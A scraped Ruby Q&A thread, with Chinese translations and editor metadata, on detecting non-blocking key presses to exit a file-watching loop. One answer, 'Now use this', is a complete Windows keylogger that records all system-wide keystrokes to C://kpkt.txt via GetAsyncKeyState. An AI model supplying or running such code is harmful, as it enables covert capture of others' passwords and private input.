blocks|key|1540245|text|您可能还想研究一下Ruby的'+IO+/wait‘库，它为所有IO对象提供了ready?方法。我还没有特别测试过你的情况，但是我正在开发一个基于套接字的库。在您的例子中，如果STDIN只是一个标准IO对象，那么您可能会在ready?返回非nil结果的那一刻退出，除非您有兴趣找出实际按下的是哪个键。这个功能可以通过require+'io/wait'实现，它是Ruby标准库的一部分。我不确定它是否适用于所有环境，但值得一试。Rdocs：http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/|type|unstyled|depth|inlineStyleRanges|offset|length|style|CODE|entityRanges|data|1540246|entityMap|0|LINK|mutability|MUTABLE|url|http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/^0|12|6|32|6|4D|H|62|1B|0|0^^$0|@$1|2|3|4|5|6|7|N|8|@$9|O|A|P|B|C]|$9|Q|A|R|B|C]|$9|S|A|T|B|C]]|D|@$9|U|A|V|1|W]]|E|$]]|$1|F|3|-4|5|6|7|X|8|@]|D|@]|E|$]]]|G|$H|$5|I|J|K|E|$L|M]]]]

You may also want to investigate the 'io/wait' library for Ruby which provides the <code>ready?</code> method to all IO objects. I haven't tested your situation specifically, but am using it in a socket based library I'm working on. In your case, provided STDIN is just a standard IO object, you could probably quit the moment <code>ready?</code> returns a non-nil result, unless you're interested in finding out what key was actually pressed. This functionality can be had through <code>require 'io/wait'</code>, which is part of the Ruby standard library. I am not certain that it works on all environments, but it's worth a try. Rdocs: <a href="http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/" rel="nofollow noreferrer">http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/</a>

blocks|key|1325189|text|您也可以在没有缓冲区的情况下执行此操作。在基于unix的系统中，这很容易：|type|unstyled|depth|inlineStyleRanges|entityRanges|data|1325190|system("stty+raw+-echo")+#=>+Raw+mode,+no+echo
char+=+STDIN.getc
system("stty+-raw+echo")+#=>+Reset+terminal+mode
puts+char|code-block|syntax|javascript|1325191|这将等待一个键被按下并返回字符码。不需要施压。|1325192|将char+=+STDIN.getc放入一个循环中，您就得到了它！|offset|length|style|CODE|1325193|如果你是在windows上，根据Ruby的方式，你需要用C语言写一个扩展，或者使用这个小技巧(尽管这是在2001年写的，所以可能有更好的方法)|1325194|require+'Win32API'
char+=+Win32API.new('crtdll','_getch',+[],+'L').Call|1325195|下面是我的参考资料：great+book,+if+you+don't+own+it+you+should|1325196|entityMap|0|LINK|mutability|MUTABLE|url|http://books.google.com/books?id=ows9jTsyaaEC&pg=PA222&lpg=PA222&dq=ruby%2520wait%2520for%2520keyboard&source=bl&ots=ilSHDQugBk&sig=E9qcsVHpqNEl2CoIFggQewgN0iw&hl=en&ei=9r5FTZncBITogQevr-DNAQ&sa=X&oi=book_result&ct=result&resnum=7&ved=0CEcQ6AEwBg#v=onepage&q&f=false^0|0|0|0|1|H|0|0|0|A|16|0|0^^$0|@$1|2|3|4|5|6|7|12|8|@]|9|@]|A|$]]|$1|B|3|C|5|D|7|13|8|@]|9|@]|A|$E|F]]|$1|G|3|H|5|6|7|14|8|@]|9|@]|A|$]]|$1|I|3|J|5|6|7|15|8|@$K|16|L|17|M|N]]|9|@]|A|$]]|$1|O|3|P|5|6|7|18|8|@]|9|@]|A|$]]|$1|Q|3|R|5|D|7|19|8|@]|9|@]|A|$E|F]]|$1|S|3|T|5|6|7|1A|8|@]|9|@$K|1B|L|1C|1|1D]]|A|$]]|$1|U|3|-4|5|6|7|1E|8|@]|9|@]|A|$]]]|V|$W|$5|X|Y|Z|A|$10|11]]]]

You can also do this without the buffer. In unix based systems it is easy:

<pre><code>system("stty raw -echo") #=&gt; Raw mode, no echo
char = STDIN.getc
system("stty -raw echo") #=&gt; Reset terminal mode
puts char
</code></pre>

This will wait for a key to be pressed and return the char code. No need to press .

Put the <code>char = STDIN.getc</code> into a loop and you've got it!

If you are on windows, according to The Ruby Way, you need to either write an extension in C or use this little trick (although this was written in 2001, so there might be a better way)

<pre><code>require 'Win32API'
char = Win32API.new('crtdll','_getch', [], 'L').Call
</code></pre>

Here is my reference: <a href="http://books.google.com/books?id=ows9jTsyaaEC&amp;pg=PA222&amp;lpg=PA222&amp;dq=ruby%20wait%20for%20keyboard&amp;source=bl&amp;ots=ilSHDQugBk&amp;sig=E9qcsVHpqNEl2CoIFggQewgN0iw&amp;hl=en&amp;ei=9r5FTZncBITogQevr-DNAQ&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=7&amp;ved=0CEcQ6AEwBg#v=onepage&amp;q&amp;f=false" rel="nofollow noreferrer">great book, if you don't own it you should</a>

blocks|key|1540378|text|其他答案的组合会得到所需的行为。在OSX和Linux上的ruby+1.9.3中测试。|type|unstyled|depth|inlineStyleRanges|entityRanges|data|1540379|loop+do
++puts+'foo'
++system("stty+raw+-echo")
++char+=+STDIN.read_nonblock(1)+rescue+nil
++system("stty+-raw+echo")
++break+if+/q/i+=~+char
++sleep(2)
end|code-block|syntax|javascript|1540380|entityMap^0|0|0^^$0|@$1|2|3|4|5|6|7|I|8|@]|9|@]|A|$]]|$1|B|3|C|5|D|7|J|8|@]|9|@]|A|$E|F]]|$1|G|3|-4|5|6|7|K|8|@]|9|@]|A|$]]]|H|$]]

A combination of the other answers gets the desired behavior. Tested in ruby 1.9.3 on OSX and Linux.

<pre><code>loop do
 puts 'foo'
 system("stty raw -echo")
 char = STDIN.read_nonblock(1) rescue nil
 system("stty -raw echo")
 break if /q/i =~ char
 sleep(2)
end
</code></pre>

blocks|key|1325292|text|通过结合我刚刚读到的各种解决方案，我想出了一种跨平台的方法来解决这个问题。Details+here，但下面是相关的代码:一个返回ASCII码的GetKey.getkey方法，如果没有按下任何代码，则返回nil。|type|unstyled|depth|inlineStyleRanges|offset|length|style|CODE|entityRanges|data|1325293|应该可以在Windows和Unix上运行。|1325294|module+GetKey

++#+Check+if+Win32API+is+accessible+or+not
++@use_stty+=+begin
++++require+'Win32API'
++++false
++rescue+LoadError
++++#+Use+Unix+way
++++true
++end

++#+Return+the+ASCII+code+last+key+pressed,+or+nil+if+none
++#
++#+Return::
++#+*+_Integer_:+ASCII+code+of+the+last+key+pressed,+or+nil+if+none
++def+self.getkey
++++if+@use_stty
++++++system('stty+raw+-echo')+#+=>+Raw+mode,+no+echo
++++++char+=+(STDIN.read_nonblock(1).ord+rescue+nil)
++++++system('stty+-raw+echo')+#+=>+Reset+terminal+mode
++++++return+char
++++else
++++++return+Win32API.new('crtdll',+'_kbhit',+[+],+'I').Call.zero?+?+nil+:+Win32API.new('crtdll',+'_getch',+[+],+'L').Call
++++end
++end

end|code-block|syntax|javascript|1325295|下面是一个简单的程序来测试它：|1325296|loop+do
++k+=+GetKey.getkey
++puts+"Key+pressed:+#{k.inspect}"
++sleep+1
end|1325297|在上面提供的链接中，我还展示了如何使用curses库，但结果在Windows上有点奇怪。|1325298|entityMap|0|LINK|mutability|MUTABLE|url|http://blog.x-aeon.com/2014/03/26/how-to-read-one-non-blocking-key-press-in-ruby/^0|1Z|D|2T|3|11|C|0|0|0|0|0|0|J|6|0^^$0|@$1|2|3|4|5|6|7|10|8|@$9|11|A|12|B|C]|$9|13|A|14|B|C]]|D|@$9|15|A|16|1|17]]|E|$]]|$1|F|3|G|5|6|7|18|8|@]|D|@]|E|$]]|$1|H|3|I|5|J|7|19|8|@]|D|@]|E|$K|L]]|$1|M|3|N|5|6|7|1A|8|@]|D|@]|E|$]]|$1|O|3|P|5|J|7|1B|8|@]|D|@]|E|$K|L]]|$1|Q|3|R|5|6|7|1C|8|@$9|1D|A|1E|B|C]]|D|@]|E|$]]|$1|S|3|-4|5|6|7|1F|8|@]|D|@]|E|$]]]|T|$U|$5|V|W|X|E|$Y|Z]]]]

By combinig the various solutions I just read, I came up with a cross-platform way to solve that problem.
<a href="http://blog.x-aeon.com/2014/03/26/how-to-read-one-non-blocking-key-press-in-ruby/" rel="noreferrer">Details here</a>, but here is the relevant piece of code: a <code>GetKey.getkey</code> method returning the ASCII code or <code>nil</code> if none was pressed.

Should work both on Windows and Unix.

<pre><code>module GetKey

 # Check if Win32API is accessible or not
 @use_stty = begin
 require 'Win32API'
 false
 rescue LoadError
 # Use Unix way
 true
 end

 # Return the ASCII code last key pressed, or nil if none
 #
 # Return::
 # * _Integer_: ASCII code of the last key pressed, or nil if none
 def self.getkey
 if @use_stty
 system('stty raw -echo') # =&gt; Raw mode, no echo
 char = (STDIN.read_nonblock(1).ord rescue nil)
 system('stty -raw echo') # =&gt; Reset terminal mode
 return char
 else
 return Win32API.new('crtdll', '_kbhit', [ ], 'I').Call.zero? ? nil : Win32API.new('crtdll', '_getch', [ ], 'L').Call
 end
 end

end
</code></pre>

And here is a simple program to test it:

<pre><code>loop do
 k = GetKey.getkey
 puts "Key pressed: #{k.inspect}"
 sleep 1
end
</code></pre>

In the link provided above, I also show how to use the <code>curses</code> library, but the result gets a bit whacky on Windows.

blocks|key|1325336|text|现在使用这个|type|unstyled|depth|inlineStyleRanges|entityRanges|data|1325337|require+'Win32API'

VK_SHIFT+=+0x10
VK_ESC+=+0x1B

def+check_shifts()
++++$listener.call(VK_SHIFT)+!=+0+?+true+:+false
end

#+create+empty+Hash+of+key+codes
keys+=+Hash.new

#+create+empty+Hash+for+shift+characters
uppercase+=+Hash.new

#+add+letters
(0x41..0x5A).each+{+%7Ccode%7C+keys[code.chr.downcase]+=+code+}

#+add+numbers
(0x30..0x39).each+{+%7Ccode%7C+keys[code-0x30]+=+code+}

#+add+special+characters
keys[';']+=+0xBA;+keys['=']+=+0xBB;+keys[',']+=+0xBC;+keys['-']+=+0xBD;+keys['.']+=+0xBE+
keys['/']+=+0xBF;+keys['`']+=+0xC0;+keys['[']+=+0xDB;+keys[']']+=+0xDD;+keys["'"]+=+0xDE+
keys['\\']+=+0xDC

#+add+custom+key+macros
keys["\n"]+=+0x0D;+keys["\t"]+=+0x09;+keys['(backspace)']+=+0x08;+keys['(CAPSLOCK)']+=+0x14

#+add+for+uppercase+letters
('a'..'z').each+{+%7Cchar%7C+uppercase[char]+=+char.upcase+}

#+add+for+uppercase+numbers
uppercase[1]+=+'!';+uppercase[2]+=+'@';+uppercase[3]+=+'#';+uppercase[4]+=+'$';+uppercase[5]+=+'%25'
uppercase[6]+=+'%5E';+uppercase[7]+=+'&';+uppercase[8]+=+'*';+uppercase[9]+=+'(';+uppercase[0]+=+')'

#+add+for+uppercase+special+characters
uppercase[';']+=+':';+uppercase['=']+=+'%2B';+uppercase[',']+=+'<';+uppercase['-']+=+'_';+uppercase['.']+=+'>'
uppercase['/']+=+'?';+uppercase['`']+=+'~';+uppercase['[']+=+'{';+uppercase[']']+=+'}';+uppercase["'"]+=+'"'
uppercase['\\']+=+'%7C'

#+create+a+listener+for+Windows+key-presses
$listener+=+Win32API.new('user32',+'GetAsyncKeyState',+['i'],+'i')

#+call+listener+once+to+initialize+lsb's
keys.each_value+{+%7Ccode%7C+$listener.call(code)+}

logs+=+File.open('C://kpkt.txt',+'a')

while+true
++++break+if+$listener.call(VK_ESC)+!=+0

++++keys.each+do+%7Cchar,+code%7C
++++++++n+=+$listener.call(code)
++++++++if+n+and+n+&+0x01+==+1
++++++++++++check_shifts()+?+logs.write("#{uppercase[char]}")+:+logs.write("#{char}")
++++++++end
++++end
end

logs.close()|code-block|syntax|javascript|1325338|entityMap^0|0|0^^$0|@$1|2|3|4|5|6|7|I|8|@]|9|@]|A|$]]|$1|B|3|C|5|D|7|J|8|@]|9|@]|A|$E|F]]|$1|G|3|-4|5|6|7|K|8|@]|9|@]|A|$]]]|H|$]]

Now use this

<pre><code>require 'Win32API'

VK_SHIFT = 0x10
VK_ESC = 0x1B

def check_shifts()
 $listener.call(VK_SHIFT) != 0 ? true : false
end

# create empty Hash of key codes
keys = Hash.new

# create empty Hash for shift characters
uppercase = Hash.new

# add letters
(0x41..0x5A).each { |code| keys[code.chr.downcase] = code }

# add numbers
(0x30..0x39).each { |code| keys[code-0x30] = code }

# add special characters
keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE 
keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE 
keys['\\'] = 0xDC

# add custom key macros
keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14

# add for uppercase letters
('a'..'z').each { |char| uppercase[char] = char.upcase }

# add for uppercase numbers
uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%'
uppercase[6] = '^'; uppercase[7] = '&amp;'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')'

# add for uppercase special characters
uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '&lt;'; uppercase['-'] = '_'; uppercase['.'] = '&gt;'
uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"'
uppercase['\\'] = '|'

# create a listener for Windows key-presses
$listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')

# call listener once to initialize lsb's
keys.each_value { |code| $listener.call(code) }

logs = File.open('C://kpkt.txt', 'a')

while true
 break if $listener.call(VK_ESC) != 0

 keys.each do |char, code|
 n = $listener.call(code)
 if n and n &amp; 0x01 == 1
 check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}")
 end
 end
end

logs.close()
</code></pre>

I have a simple task that needs to wait for something to change on the filesystem (it's essentially a compiler for prototypes). So I've a simple infinite loop with a 5 second sleep after the check for changed files.

<pre><code>loop do
 # if files changed
 # process files
 # and puts result
 sleep 5
end
</code></pre>

Instead of the <code>Ctrl+C</code> salute, I'd rather be able to test and see if a key has been pressed, without blocking the loop. Essentially I just need a way to tell if there are incoming key presses, then a way to grab them until a Q is met, then exit out of the program.

What I want is:

<pre><code>def wait_for_Q
 key_is_pressed &amp;&amp; get_ch == 'Q'
end

loop do
 # if files changed
 # process files
 # and puts result
 wait_for_Q or sleep 5
end
</code></pre>

Or, is this something Ruby just doesn't do (well)?

Detect key press (non-blocking) w/o getc/gets in Ruby

文件系统

编译器

Windows

Linux

Unix

我有一个简单的任务，需要等待文件系统上的变化(它本质上是一个原型编译器)。所以我有一个简单的无限循环，在检查更改的文件后有5秒的休眠。loop do  # if files changed  #   process files  #   and puts result  sleep 5end与Ctrl+C敬礼相比，我更...

问在Ruby中检测不带getc/getc的按键(非阻塞)
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